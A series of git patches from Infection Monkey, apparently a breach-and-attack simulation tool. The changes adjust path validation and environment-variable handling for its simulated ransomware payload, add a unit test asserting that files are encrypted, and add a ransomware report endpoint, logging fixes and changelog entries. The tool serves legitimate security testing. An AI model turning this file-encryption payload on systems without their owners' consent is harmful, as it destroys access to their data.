diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index d7b30c13a8e..e03519c5da1 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -1,10 +1,10 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' -// path starts with `/` OR `$` -const linuxDirRegex = '^/|^\\$' -// path starts like `C:\` OR `C:/` OR `$` OR `%abc%` -const windowsDirRegex = '^([A-Za-z]:(\\\\|\\/))|^\\$|^(%\\w*\\d*\\s*%)' +// path is empty, or starts with `/` OR `$` +const linuxDirRegex = '(^\\s*$)|^/|^\\$' +// path is empty, or starts like `C:\` OR `C:/` OR `$` OR `%abc%` +const windowsDirRegex = '(^\\s*$)|^([A-Za-z]:(\\\\|\\/))|^\\$|^(%\\w*\\d*\\s*%)' export const IP_RANGE = 'ip-range'; From 3496c717a9dea4b3dd5ae61807856f6b1407208b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Jul 2021 16:36:54 +0530 Subject: [PATCH 1001/1360] cc, common: Split ransomware dir path validator regex expressions and rename related stuff to accurately describe it --- .../common_consts/validation_formats.py | 4 +-- .../cc/services/config_schema/ransomware.py | 9 +++-- .../ValidationErrorMessages.js | 6 ++-- .../ValidationFormats.js | 36 ++++++++++++------- 4 files changed, 35 insertions(+), 20 deletions(-) diff --git a/monkey/common/common_consts/validation_formats.py b/monkey/common/common_consts/validation_formats.py index c7f92e5e5bc..41a460a8a61 100644 --- a/monkey/common/common_consts/validation_formats.py +++ b/monkey/common/common_consts/validation_formats.py @@ -1,5 +1,5 @@ # Defined in UI on ValidationFormats.js IP_RANGE = "ip-range" IP = "ip" -VALID_DIR_LINUX = "valid-directory-linux" -VALID_DIR_WINDOWS = "valid-directory-windows" +VALID_RANSOMWARE_TARGET_PATH_LINUX = "valid-ransomware-target-path-linux" +VALID_RANSOMWARE_TARGET_PATH_WINDOWS = "valid-ransomware-target-path-windows" diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 4e03af168eb..be4403c6f18 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -1,4 +1,7 @@ -from common.common_consts.validation_formats import VALID_DIR_LINUX, VALID_DIR_WINDOWS +from common.common_consts.validation_formats import ( + VALID_RANSOMWARE_TARGET_PATH_LINUX, + VALID_RANSOMWARE_TARGET_PATH_WINDOWS, +) RANSOMWARE = { "title": "Ransomware", @@ -22,7 +25,7 @@ "linux_target_dir": { "title": "Linux target directory", "type": "string", - "format": VALID_DIR_LINUX, + "format": VALID_RANSOMWARE_TARGET_PATH_LINUX, "default": "", "description": "A path to a directory on Linux systems that contains " "files that you will allow Infection Monkey to encrypt. If no " @@ -31,7 +34,7 @@ "windows_target_dir": { "title": "Windows target directory", "type": "string", - "format": VALID_DIR_WINDOWS, + "format": VALID_RANSOMWARE_TARGET_PATH_WINDOWS, "default": "", "description": "A path to a directory on Windows systems that contains " "files that you will allow Infection Monkey to encrypt. If no " diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js index 803e4e7e7d3..3c7280f9746 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js @@ -1,4 +1,4 @@ -import {IP, IP_RANGE, VALID_DIR_LINUX, VALID_DIR_WINDOWS} from './ValidationFormats'; +import {IP, IP_RANGE, VALID_RANSOMWARE_TARGET_PATH_LINUX, VALID_RANSOMWARE_TARGET_PATH_WINDOWS} from './ValidationFormats'; let invalidDirMessage = 'Invalid directory. Path should be absolute or begin with an environment variable.'; @@ -10,9 +10,9 @@ export default function transformErrors(errors) { error.message = 'Invalid IP range, refer to description for valid examples.' } else if (error.name === 'format' && error.params.format === IP) { error.message = 'Invalid IP.' - } else if (error.name === 'format' && error.params.format === VALID_DIR_LINUX) { + } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_LINUX) { error.message = invalidDirMessage - } else if (error.name === 'format' && error.params.format === VALID_DIR_WINDOWS) { + } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_WINDOWS) { error.message = invalidDirMessage } return error; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index e03519c5da1..1038c45a23b 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -1,22 +1,26 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' -// path is empty, or starts with `/` OR `$` -const linuxDirRegex = '(^\\s*$)|^/|^\\$' -// path is empty, or starts like `C:\` OR `C:/` OR `$` OR `%abc%` -const windowsDirRegex = '(^\\s*$)|^([A-Za-z]:(\\\\|\\/))|^\\$|^(%\\w*\\d*\\s*%)' + +const linuxAbsolutePathRegex = '^/' // path starts with `/` +const linuxPathStartsWithEnvVariableRegex = '^\\$' // path starts with `$` + +const windowsAbsolutePathRegex = '^([A-Za-z]:(\\\\|\\/))' // path starts like `C:\` OR `C:/` +const windowsPathStartsWithEnvVariableRegex = '^\\$|^(%\\w*\\d*\\s*%)' // path starts like `$` OR `%abc%` + +const whitespacesOnlyRegex = '^\\s*$' export const IP_RANGE = 'ip-range'; export const IP = 'ip'; -export const VALID_DIR_LINUX = 'valid-directory-linux' -export const VALID_DIR_WINDOWS = 'valid-directory-windows' +export const VALID_RANSOMWARE_TARGET_PATH_LINUX = 'valid-ransomware-target-path-linux' +export const VALID_RANSOMWARE_TARGET_PATH_WINDOWS = 'valid-ransomware-target-path-windows' export const formValidationFormats = { [IP_RANGE]: buildIpRangeRegex(), [IP]: buildIpRegex(), - [VALID_DIR_LINUX]: buildValidDirLinuxRegex(), - [VALID_DIR_WINDOWS]: buildValidDirWindowsRegex() + [VALID_RANSOMWARE_TARGET_PATH_LINUX]: buildValidRansomwarePathLinuxRegex(), + [VALID_RANSOMWARE_TARGET_PATH_WINDOWS]: buildValidRansomwarePathWindowsRegex() }; function buildIpRangeRegex(){ @@ -32,10 +36,18 @@ function buildIpRegex(){ return new RegExp('^'+ipRegex+'$') } -function buildValidDirLinuxRegex() { - return new RegExp(linuxDirRegex) +function buildValidRansomwarePathLinuxRegex() { + return new RegExp([ + whitespacesOnlyRegex, + linuxAbsolutePathRegex, + linuxPathStartsWithEnvVariableRegex + ].join('|')) } -function buildValidDirWindowsRegex() { - return new RegExp(windowsDirRegex) +function buildValidRansomwarePathWindowsRegex() { + return new RegExp([ + whitespacesOnlyRegex, + windowsAbsolutePathRegex, + windowsPathStartsWithEnvVariableRegex + ].join('|')) } From 8ef6a50180eee1dab66b34262f9c2325b0fbc45e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Jul 2021 15:11:30 +0300 Subject: [PATCH 1002/1360] Fix a bug in ransomware directories that caused environmental variables to not be expanded --- monkey/infection_monkey/ransomware/ransomware_payload.py | 5 +++-- monkey/infection_monkey/telemetry/file_encryption_telem.py | 4 +--- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a3ae684ae03..ac15bfa5ae5 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,4 +1,5 @@ import logging +import os import shutil from pathlib import Path from pprint import pformat @@ -55,7 +56,7 @@ def _find_files(self) -> List[Path]: return [] return select_production_safe_target_files( - Path(self._target_dir), self._valid_file_extensions_for_encryption + Path(os.path.expandvars(self._target_dir)), self._valid_file_extensions_for_encryption ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: @@ -84,7 +85,7 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): def _leave_readme(self): if self._readme_enabled: - readme_dest_path = Path(self._target_dir) / README_DEST + readme_dest_path = Path(os.path.expandvars(self._target_dir)) / README_DEST LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") try: diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py index 7f18867ab32..7ecdd6ec0ce 100644 --- a/monkey/infection_monkey/telemetry/file_encryption_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -1,5 +1,3 @@ -from pathlib import Path - from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin @@ -7,7 +5,7 @@ class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): - def __init__(self, filepath: Path, success: bool, error: str): + def __init__(self, filepath: str, success: bool, error: str): """ File Encryption telemetry constructor :param filepath: The path to the file that monkey attempted to encrypt From f4102aaa3a352281caa8bb295d11d5d5d6864649 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 2 Jul 2021 09:31:45 -0400 Subject: [PATCH 1003/1360] Remove unused mock_home_env() pytest fixture This was replaced with patched_home_env() but never removed. --- monkey/tests/conftest.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index b0e9e9c2e39..23249016e79 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -11,10 +11,3 @@ @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): return os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests") - - -@pytest.fixture -def mock_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - return tmpdir From 01b9c41c6ebe9e9b03d2387fdd988d8c5282a9bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 2 Jul 2021 18:59:24 -0400 Subject: [PATCH 1004/1360] Remove mock_home_env() from vulture_allowlist.py --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2c937ee4f35..564f238ab6d 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -19,7 +19,6 @@ set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122) patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25) patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31) -mock_home_env # unused variable (monkey/tests/monkey_island/cc/server_utils/test_island_logger.py:20) custom_pba_directory # unused variable (monkey/tests/monkey_island/cc/services/test_post_breach_files.py:20) configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26) change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9) From 2f090f006094300d292f1c369722afd5d8e8dcbf Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Jul 2021 15:04:10 +0530 Subject: [PATCH 1005/1360] cc: Only show ransomware report tab if `show` in ransomware report telemetry is `true` --- .../cc/ui/src/components/pages/ReportPage.js | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index dae6e676ee0..9138764fd99 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -26,8 +26,7 @@ class ReportPageComponent extends AuthComponent { selectedSection: ReportPageComponent.selectReport(this.sectionsOrder), sections: [{key: 'security', title: 'Security report'}, {key: 'zeroTrust', title: 'Zero trust report'}, - {key: 'attack', title: 'ATT&CK report'}, - {key: 'ransomware', title: 'Ransomware report'}] + {key: 'attack', title: 'ATT&CK report'}] }; } @@ -60,8 +59,8 @@ class ReportPageComponent extends AuthComponent { this.setState({zeroTrustReport: ztReport}) }); this.setState({ - ransomwareReport: {'report': ''} - }); + ransomwareReport: {'report': '', + 'show': true}}) // this.authFetch('/api/report/ransomware') // .then(res => res.json()) // .then(res => { @@ -69,6 +68,9 @@ class ReportPageComponent extends AuthComponent { // ransomwareReport: res // }); // }); + if (this.state.ransomwareReport['show'] === true) { + this.state.sections.push({key: 'ransomware', title: 'Ransomware report'}) + } } } From 7b167ba0c43ce8890200659933b1ce19d97439b9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Jul 2021 16:17:40 +0530 Subject: [PATCH 1006/1360] island: Add API endpoint for ransomware report --- monkey/monkey_island/cc/app.py | 2 ++ monkey/monkey_island/cc/resources/ransomware_report.py | 10 ++++++++++ 2 files changed, 12 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/ransomware_report.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ecc5feca1d6..8800d382a71 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -38,6 +38,7 @@ from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload +from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport @@ -149,6 +150,7 @@ def init_api_resources(api): api.add_resource(SecurityReport, "/api/report/security") api.add_resource(ZeroTrustReport, "/api/report/zero-trust/") api.add_resource(AttackReport, "/api/report/attack") + api.add_resource(RansomwareReport, "/api/report/ransomware") api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/") api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py new file mode 100644 index 00000000000..a2edaf612e9 --- /dev/null +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -0,0 +1,10 @@ +import flask_restful +from flask import jsonify + +from monkey_island.cc.resources.auth.auth import jwt_required + + +class RansomwareReport(flask_restful.Resource): + @jwt_required + def get(self): + return jsonify({"show": True, "report": None}) From b4b690491efa581f255e8f79bc03e8ee53af73af Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 08:18:00 -0400 Subject: [PATCH 1007/1360] Update changelog --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5ca3838f69e..093cf7398ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136 - `log_level` option to server config. #1151 - A ransomware simulation payload. #1238 +- The capability for a user to specify their own SSL certificate. #1208 ### Changed - server_config.json can be selected at runtime. #963 @@ -37,6 +38,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). structure of unit tests and unit test infrastructure. #1178 - MongoDb now gets launched by the Island via python. #1148 - Create/check data directory on Island init. #1170 +- The formatting of some log messages to make them more readable. #1283 ### Removed - Relevant dead code as reported by Vulture. #1149 @@ -50,3 +52,5 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Address minor issues discovered by Dlint. #1075 - Generate random passwords when creating a new user (create user PBA, ms08_67 exploit). #1174 - Implemented configuration encryption/decryption. #1189, #1204 +- Create local custom PBA directory with secure permissions. #1270 +- Create encryption key file for MongoDB with secure permissions. #1232 From 19e9fe5fb9c5bc61dcbe6d92519cdb2717d37002 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 07:05:24 -0400 Subject: [PATCH 1008/1360] appimage: Upgrade python version to 3.7.11 --- appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index cbc1eec9375..fea17b7a249 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -17,7 +17,7 @@ MONKEY_ORIGIN_URL="https://github.com/guardicore/monkey.git" CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" NODE_SRC=https://deb.nodesource.com/setup_12.x APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage -PYTHON_VERSION="3.7.10" +PYTHON_VERSION="3.7.11" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" exit_if_missing_argument() { From 8afd69634c0e01d186e94c0700c993fd79e9ef80 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Jul 2021 19:10:21 +0530 Subject: [PATCH 1009/1360] tests: Add unit test for ransomware target dir path with env variables --- .../infection_monkey/ransomware/conftest.py | 7 +++++++ .../ransomware/test_ransomware_payload.py | 18 ++++++++++++++++++ 2 files changed, 25 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py index 60b14a322ab..a23751633b0 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -4,6 +4,13 @@ import pytest +@pytest.fixture +def patched_home_env(monkeypatch, tmp_path): + monkeypatch.setenv("HOME", str(tmp_path)) + + return tmp_path + + @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 36dc6615ec7..2014c748600 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -48,6 +48,24 @@ def ransomware_payload(ransomware_payload_config, telemetry_messenger_spy): return RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) +def test_env_variables_in_target_dir_resolved_linux( + ransomware_payload_config, ransomware_target, telemetry_messenger_spy, patched_home_env +): + path_with_env_variable = "$HOME/ransomware_target" + + ransomware_payload_config["encryption"]["directories"][ + "linux_target_dir" + ] = ransomware_payload_config["encryption"]["directories"][ + "windows_target_dir" + ] = path_with_env_variable + RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy).run_payload() + + assert ( + hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) + == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + ) + + def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): ransomware_payload.run_payload() From f86ff4fbd74aa584401b84d6cc910fda84459d99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 11:38:32 -0400 Subject: [PATCH 1010/1360] Island: Set log and error_log parameters on WSGIServer constructor Provides WSGIServer with a logger for INFO log messages and ERROR log messages. https://www.gevent.org/api/gevent.pywsgi.html#gevent.pywsgi.WSGIServer --- monkey/monkey_island/cc/server_setup.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index adbf8705024..fc23cd7f845 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -117,6 +117,8 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) app, certfile=config_options.crt_path, keyfile=config_options.key_path, + log=logger, + error_log=logger, ) _log_init_info() http_server.serve_forever() From ebbdbc8dcb831bb43a97f43870e980f1c088dae2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 11:40:34 -0400 Subject: [PATCH 1011/1360] Island: Add GeventHubErrorHandler to log gevent exceptions --- .../cc/setup/gevent_hub_error_handler.py | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 monkey/monkey_island/cc/setup/gevent_hub_error_handler.py diff --git a/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py new file mode 100644 index 00000000000..c4c37b88d74 --- /dev/null +++ b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py @@ -0,0 +1,26 @@ +import traceback + +import gevent.hub + + +class GeventHubErrorHandler: + """ + Wraps gevent.hub.Hub's handle_error() method so that the exception can be + logged but the traceback can be stored in a separate file. This preserves + the default gevent functionality and adds a useful, concise log message to + the Monkey Island logs. + + For more information, see + https://github.com/guardicore/monkey/issues/859, + https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.handle_error + https://github.com/gevent/gevent/issues/1482 + """ + + def __init__(self, hub: gevent.hub.Hub, logger): + self._original_handle_error = hub.handle_error + self._logger = logger + + def __call__(self, context, type_, value, tb): + exception_msg = traceback.format_exception_only(type_, value) + self._logger.warning(f"gevent caught an exception: {exception_msg}") + self._original_handle_error(context, type_, value, tb) From 231fa6f99f485d9560de2bb5370dfa8f0240bc12 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 15:44:40 +0530 Subject: [PATCH 1012/1360] cc: Add dummy code to frontend to check if ransomware report tab should be showed --- .../cc/ui/src/components/pages/ReportPage.js | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 9138764fd99..6548f5de1ff 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -59,8 +59,7 @@ class ReportPageComponent extends AuthComponent { this.setState({zeroTrustReport: ztReport}) }); this.setState({ - ransomwareReport: {'report': '', - 'show': true}}) + ransomwareReport: {'report': ''}}) // this.authFetch('/api/report/ransomware') // .then(res => res.json()) // .then(res => { @@ -68,7 +67,7 @@ class ReportPageComponent extends AuthComponent { // ransomwareReport: res // }); // }); - if (this.state.ransomwareReport['show'] === true) { + if (this.shouldShowRansomwareReport(this.state.ransomwareReport)) { this.state.sections.push({key: 'ransomware', title: 'Ransomware report'}) } } @@ -99,6 +98,12 @@ class ReportPageComponent extends AuthComponent { return ztReport }; + shouldShowRansomwareReport(report) { // TODO: Add proper check + if (report) { + return true; + } + } + componentWillUnmount() { clearInterval(this.state.ztReportRefreshInterval); } From 695e266943286bd844fd74c38657d4904bea65d3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 6 Jul 2021 12:20:54 +0200 Subject: [PATCH 1013/1360] island: Add delimiter to windows create_certificate --- monkey/monkey_island/windows/create_certificate.bat | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat index 3062f5c574e..8f4d62dbe05 100644 --- a/monkey/monkey_island/windows/create_certificate.bat +++ b/monkey/monkey_island/windows/create_certificate.bat @@ -20,13 +20,13 @@ copy "%mydir%windows\openssl.cfg" "%mydir%bin\openssl\openssl.cfg" :: Change file permissions SET adminsIdentity="BUILTIN\Administrators" -FOR /f %%O IN ('whoami') DO SET ownIdentity=%%O +FOR /f "delims=''" %%O IN ('whoami') DO SET ownIdentity=%%O FOR %%F IN ("%mydir%cc\server.key", "%mydir%cc\server.csr", "%mydir%cc\server.crt") DO ( :: Remove all others and add admins rule (with full control) - echo y| cacls %%F" /p %adminsIdentity%:F + echo y| cacls %%F /p %adminsIdentity%:F :: Add user rule (with read) - echo y| cacls %%F /e /p %ownIdentity%:R + echo y| cacls %%F /e /p "%ownIdentity%":R ) From 6d32f851202a8bc077c64ab685203df07837448f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 16:14:22 +0530 Subject: [PATCH 1014/1360] island: Remove responsibility to decide whether the report should be displayed, from the backend --- monkey/monkey_island/cc/resources/ransomware_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index a2edaf612e9..55da76b0654 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -7,4 +7,4 @@ class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"show": True, "report": None}) + return jsonify({"report": None}) From c78c955551af534636750d8befb90f150b6fc4d4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 16:16:35 +0530 Subject: [PATCH 1015/1360] CHANGELOG: Add ransomware report API endpoint --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5ca3838f69e..0cda649b24f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136 - `log_level` option to server config. #1151 - A ransomware simulation payload. #1238 +- API endpoint for ransomware report. #1297 ### Changed - server_config.json can be selected at runtime. #963 From 4d8258ddbdaad8b757a535807f05941c6197d799 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 16:23:27 +0530 Subject: [PATCH 1016/1360] cc: Change order of report tab imports to match the order in which they're shown --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 6548f5de1ff..86b73dbb4f4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -4,9 +4,9 @@ import {Col, Nav} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; import AttackReport from '../report-components/AttackReport'; -import RansomwareReport from '../report-components/RansomwareReport'; import SecurityReport from '../report-components/SecurityReport'; import ZeroTrustReport from '../report-components/ZeroTrustReport'; +import RansomwareReport from '../report-components/RansomwareReport'; import {extractExecutionStatusFromServerResponse} from '../report-components/common/ExecutionStatus'; import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning'; From 96fc33025ebbcf4f699c8d72a02a7188b3737b99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 11:55:56 -0400 Subject: [PATCH 1017/1360] Island: Redirect gevent tracebacks to file and log exceptions By default, gevent prints exceptions and tracebacks to stderr. This is obnoxious as it results in large tracebacks intermixed with the output that the logger prints to the console. This commit redirects this data to {DATA_DIR}/gevent_exceptions.log. Unfortunately, this would mean that the user might be left without any indication these exceptions had occurred, unless they take the time to inspect the gevent_exceptions.log. Therefore, when an excepion occurs, a message with just the exception (not the traceback) is logged to WARNING. Fixes #859 --- CHANGELOG.md | 1 + monkey/monkey_island/cc/server_setup.py | 17 +++++++++++++++++ monkey/monkey_island/cc/server_utils/consts.py | 2 ++ vulture_allowlist.py | 1 + 4 files changed, 21 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 093cf7398ea..8461bc731e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -47,6 +47,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 - An errant space in the windows commands to run monkey manually. #1153 +- gevent tracebacks in console output. #859 ### Security - Address minor issues discovered by Dlint. #1075 diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index fc23cd7f845..a72cea033e1 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,3 +1,4 @@ +import atexit import json import logging import sys @@ -5,6 +6,7 @@ from threading import Thread from typing import Tuple +import gevent.hub from gevent.pywsgi import WSGIServer # Add the monkey_island directory to the path, to make sure imports that don't start with @@ -21,12 +23,14 @@ from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 